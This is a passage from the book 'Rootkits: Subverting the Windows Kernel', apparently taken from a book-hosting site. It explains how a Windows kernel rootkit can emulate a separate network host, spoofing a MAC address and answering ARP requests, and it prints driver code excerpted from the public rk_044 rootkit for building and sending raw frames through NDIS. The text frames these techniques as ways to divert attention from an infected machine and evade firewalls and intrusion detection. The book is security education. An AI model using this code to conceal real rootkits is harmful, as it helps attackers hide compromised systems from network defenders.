Host Emulation

 < Day Day Up > 

Using the NDIS protocol driver, we now can emulate a new host on the network. This means our rootkit will have its own IP address on the network. Rather than using the existing host IP stack, you can specify a new IP address. In fact, you can also specify your own MAC address! The combination of IP and MAC addresses is usually unique to each physical computer. If someone is sniffing the network, your new IP-MAC combination will appear to be a stand-alone machine on the network. This might divert attention away from the actual physical machine that is infected. It may also be used to bypass filters.

Creating Your MAC Address

The first step we need to take to emulate a new host on the network is to create our own MAC address. The MAC address is associated with the network card being used. Usually, this is hard-coded at the factory, and it is not meant to be changed. However, by crafting raw packets, it's possible to have any MAC of your choosing.

A MAC consists of 48 bits of data, including a vendor code. When you craft a new MAC address, you can select the vendor code to use. Most sniffer programs resolve the vendor code.

Some switches can be configured to allow only one MAC address per port. In fact, they can be configured to allow only a specific MAC address on a given port. If a switch is configured this way, the actual host MAC and your new MAC will conflict. This usually results in your new IP-MAC combination not working, or the entire port getting shut down.

Handling ARP

Forging raw network frames is not without its complications. If you are forging a source IP address and an Ethernet MAC address, you are required to handle the ARP (address resolution) protocol. If you don't provide for ARP, no packets will be routed to your network. The ARP protocol tells the router that your source IP is available, and more importantly, which Ethernet address it should be routed to.

This is also important for switches. A good switch will know which Ethernet address is using which ports. If your rootkit doesn't handle the Ethernet address properly, then the switch may not send packets down the right wire. It should also be noted that some switches allow only a single Ethernet address per port. If your rootkit tries to use an alternate MAC address, the switch might throw an alarm and block communication on your wire. This has a tendency to make a system administrator put down her doughnut, grab a crimper, and start "debuggering." That is the last event you want your rootkit to initiate.

What follows is example code from a rootkit that responds to an ARP request. This code was taken from a publicly available rootkit, rk_044, which can be downloaded from

The source code for the entire rootkit excerpted here may be found at:

 #define ETH_P_ARP   0x0806    // Address Resolution Packet #define ETH_ALEN      6      // octets in one ethernet addr #define ARPOP_REQUEST   0x01 #define ARPOP_REPLY   0x02 // Ethernet Header struct ether_header {   unsigned char    h_dest[ETH_ALEN];  /* destination eth addr   */   unsigned char    h_source[ETH_ALEN];/* source ether addr   */   unsigned short    h_proto;           /* packet type ID field   */ }; struct ether_arp {    struct   arphdr ea_hdr;     /* fixed-size header */    u_char   arp_sha[ETH_ALEN]; /* sender hardware address */    u_char   arp_spa[4];        /* sender protocol address */    u_char   arp_tha[ETH_ALEN];   /* target hardware address */    u_char   arp_tpa[4];   /* target protocol address */ }; void RespondToArp( struct in_addr sip, struct in_addr tip, __int64 enaddr) {    struct ether_header *eh;    struct ether_arp *ea;    struct sockaddr sa;    struct pps *pp = NULL; 

The MAC address we are using (spoofing) is 0xDEADBEEFDEAD. We allocate a packet large enough for an ARP response. This is initialized with null bytes.

    __int64 our_mac = 0xADDEEFBEADDE; // deadbeefdead    ea = ExAllocatePool(NonPagedPool,sizeof(struct ether_arp));    memset(ea, 0, sizeof (struct ether_arp)); 

We fill in the fields of the Ethernet header. The protocol type is set to ETH_IP_ARP, which is defined as the constant 0x806.

    eh = (struct ether_header *)sa.sa_data;    (void)memcpy(eh->h_dest, &enaddr, sizeof(eh->h_dest));    (void)memcpy(eh->h_source, &our_mac, sizeof(eh->h_source));    eh->h_proto = htons(ETH_P_ARP); 

We also fill in the fields of a "prototype Ether/ARP" structure.

    ea->arp_hrd = htons(ARPHRD_ETHER);    ea->arp_pro = htons(ETH_P_IP);    ea->arp_hln = sizeof(ea->arp_sha); /* hardware address length */    ea->arp_pln = sizeof(ea->arp_spa); /* protocol address length */    ea->arp_op = htons(ARPOP_REPLY);    (void)memcpy(ea->arp_sha, &our_mac, sizeof(ea->arp_sha));    (void)memcpy(ea->arp_tha, &enaddr, sizeof(ea->arp_tha));    (void)memcpy(ea->arp_spa, &sip, sizeof(ea->arp_spa));    (void)memcpy(ea->arp_tpa, &tip, sizeof(ea->arp_tpa));    pp = ExAllocatePool(NonPagedPool,sizeof(struct pps));    memcpy(&(pp->eh), eh, sizeof(struct ether_header));    memcpy(&(pp->ea), ea, sizeof(struct ether_arp)); 

We send the data over the network interface using a SendRaw function. After sending the packet, we free our resources.

    // Send raw packet over default interface. SendRaw((char *)pp, sizeof(struct pps));    ExFreePool(pp);    ExFreePool(ea); } 

Here are some useful macros for performing the network address translation (htons, etc.) and related functions:

 #define INETADDR(a, b, c, d) (a + (b<<8) + (c<<16) + (d<<24)) #define HTONL(a) (((a&0xFF)<<24) + ((a&0xFF00)<<8) + ((a&0xFF0000)>>8) + ((a&0xFF000000)>>24)) #define HTONS(a) (((0xFF&a)<<8) + ((0xFF00&a)>>8)) 

The IP Gateway

As we have seen, ARP is used to associate an IP address with a MAC address. This allows us to send IP traffic to the desired MAC. However, MAC addresses are used only on the local network they do not route over the Internet. If an IP address exists off network, then the packet must be routed. That is what a gateway is for.

A gateway usually has an IP address, and certainly has a MAC address. To route packets out of the network, you need only to use the gateway MAC address in your packets. To clarify: You do not send packets to the IP of the gateway; you send the packets to the MAC of the gateway.

For example, if I want to send a packet to, and my current network is, I must find the MAC address of the gateway. If the gateway is, I can use ARP to find its MAC address. Then I send the packet to with the MAC of the gateway.

Sending a Packet

You can use NdisSend to send raw packets over the network. The following code illustrates how this works. As before, this code is taken from rk_044, a public rootkit that can be downloaded from

The following snippet uses a spinlock to share access to a global data structure. This is important for thread safety, since the callback that collects packets occurs in a different thread context than any of our worker thread(s).

 VOID SendRaw(char *c, int len) {    NDIS_STATUS aStat;    DbgPrint("ROOTKIT: SendRaw called\n");    /* aquire lock, release only when send is complete */    KeAcquireSpinLock(&GlobalArraySpinLock, &gIrqL); 

Next, we allocate an NDIS_PACKET from our packet pool. In this example, the packet pool handle is stored in a global structure. (We illustrated the allocation of a packet pool earlier, in the discussion of the OnOpenAdapterDone function.)

    if(gOpenInstance && c){       PNDIS_PACKET aPacketP;       NdisAllocatePacket(&aStat,                  &aPacketP,                  gOpenInstance->mPacketPoolH                 );       if(NDIS_STATUS_SUCCESS == aStat)       {          PVOID aBufferP;          PNDIS_BUFFER anNdisBufferP; 

Now we allocate an NDIS_BUFFER from our buffer pool. Again, the buffer pool handle is stored globally. The buffer is initialized with the packet data we wish to send, and then "chained" to the NDIS_PACKET. Note that we set the reserved field of the NDIS_PACKET to NULL so our OnSendDone function will know this is a locally generated send.

          NdisAllocateMemory( &aBufferP,                     len,                     0,                     HighestAcceptableMax );          memcpy( aBufferP, (PVOID)c, len);          NdisAllocateBuffer( &aStat,                     &anNdisBufferP,                     gOpenInstance->mBufferPoolH,                     aBufferP,                     len );          if(NDIS_STATUS_SUCCESS == aStat)          {             RESERVED(aPacketP)->Irp = NULL;             NdisChainBufferAtBack(aPacketP, anNdisBufferP); 

The NDIS_PACKET is passed to NdisSend. If NdisSend completes immediately, we call OnSendDone; otherwise, the call is "pending," and a callback to OnSendDone will occur.

             NdisSend( &aStat,                   gOpenInstance->AdapterHandle,                   aPacketP );             if (aStat != NDIS_STATUS_PENDING )             {                OnSendDone( gOpenInstance,                            aPacketP,                            aStat );             }          }          else          {             // error          }       }       else       {          // error       }    }    /* release so we can send next.. */    KeReleaseSpinLock(&GlobalArraySpinLock, gIrqL); } 

The code in OnSendDone frees the resources we allocated for the NdisSend.

 VOID OnSendDone( IN NDIS_HANDLE ProtocolBindingContext,           IN PNDIS_PACKET pPacket,          IN NDIS_STATUS Status ) {    PNDIS_BUFFER anNdisBufferP;    PVOID aBufferP;    UINT aBufferLen;    PIRP Irp;    DbgPrint("ROOTKIT: OnSendDone called\n");    KeAcquireSpinLock(&GlobalArraySpinLock, &gIrqL); 

If the send operation were initiated from a user-mode application, we would have an IRP to deal with. The IRP would be stored in the reserved field of the NDIS_PACKET. For purposes of our example, however, there is no IRP, since the send operation originates from kernel mode.

    Irp=RESERVED(pPacket)->Irp;    if(Irp)    {       NdisReinitializePacket(pPacket);       NdisFreePacket(pPacket);       Irp->IoStatus.Status = NDIS_STATUS_SUCCESS;       /* never reports back anything sent.. */       Irp->IoStatus.Information = 0;       IoCompleteRequest(Irp, IO_NO_INCREMENT);    }    else    { 

Assuming there is no IRP, we then "unchain" the NDIS_BUFFER from the NDIS_PACKET. Using a call to NdisQueryBuffer allows us to recover the original memory buffer so that we can free it. This is important since if we don't free it, a memory leak will occur with every packet send! Note that we also use a spinlock to protect access to the globally shared buffer.

       // If no IRP, then it was local.       NdisUnchainBufferAtFront(                pPacket,                &anNdisBufferP );       if(anNdisBufferP)       {          NdisQueryBuffer(                anNdisBufferP,                &aBufferP,                &aBufferLen);          if(aBufferP)          {             NdisFreeMemory( aBufferP,                             aBufferLen,                             0 );          }          NdisFreeBuffer(anNdisBufferP);       }       NdisReinitializePacket(pPacket);       NdisFreePacket(pPacket);    }    /* release so we can send next.. */    KeReleaseSpinLock(&GlobalArraySpinLock, gIrqL);     return; } 

The choice of whether you use NDIS or TDI will depend on how low you want to be on the machine. Each approach has its pros and cons. See Table 9-1.

Table 9-1. Pros and cons of using NDIS versus TDI.





Will enable you to send and receive raw frames of traffic that are independent of the local host IP stack

May be better if you want to avoid detection by host-based IDS / desktop firewalls

Will require that you integrate a TCP/IP stack of your own, or craft some other clever protocol for data transfers

Using multiple MAC addresses may cause problems with some switches


Allows you to have an interface very similar to sockets which will be easier for many programmers

Uses the local host TCP/IP stack and thus avoids issues with multiple IP or MAC addresses

It is more likely to be captured by desktop firewall software

You now have the tools required to manipulate network traffic from your kernel rootkit.

     < Day Day Up > 

    Rootkits(c) Subverting the Windows Kernel
    Rootkits: Subverting the Windows Kernel
    ISBN: 0321294319
    EAN: 2147483647
    Year: 2006
    Pages: 111

    Similar book on Amazon © 2008-2017.
    If you may any questions please contact us: